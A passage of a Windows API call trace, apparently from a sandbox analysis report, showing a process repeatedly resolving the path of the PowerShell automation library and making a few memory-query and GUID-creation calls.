lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.879] VirtualQuery (in: lpAddress=0x24b360, lpBuffer=0x24c220, dwLength=0x30 | out: lpBuffer=0x24c220*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.880] VirtualQuery (in: lpAddress=0x24b3f0, lpBuffer=0x24c2b0, dwLength=0x30 | out: lpBuffer=0x24c2b0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.883] VirtualQuery (in: lpAddress=0x24bb70, lpBuffer=0x24ca30, dwLength=0x30 | out: lpBuffer=0x24ca30*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.885] VirtualQuery (in: lpAddress=0x24bb70, lpBuffer=0x24ca30, dwLength=0x30 | out: lpBuffer=0x24ca30*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.896] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x11f76a69, Data2=0xdbf6, Data3=0x4b14, Data4=([0]=0x8d, [1]=0xb6, [2]=0x6b, [3]=0x5, [4]=0xf2, [5]=0xd1, [6]=0x95, [7]=0x37))) returned 0x0 [0083.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.900] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xfc876070, Data2=0x3416, Data3=0x4947, Data4=([0]=0xb5, [1]=0x53, [2]=0x88, [3]=0xd8, [4]=0x33, [5]=0x37, [6]=0xc5, [7]=0xe9))) returned 0x0 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.938] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x94a6b50f, Data2=0x9f14, Data3=0x4a82, Data4=([0]=0xae, [1]=0xd6, [2]=0xbc, [3]=0x42, [4]=0xe9, [5]=0x39, [6]=0xa4, [7]=0x62))) returned 0x0 [0083.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, 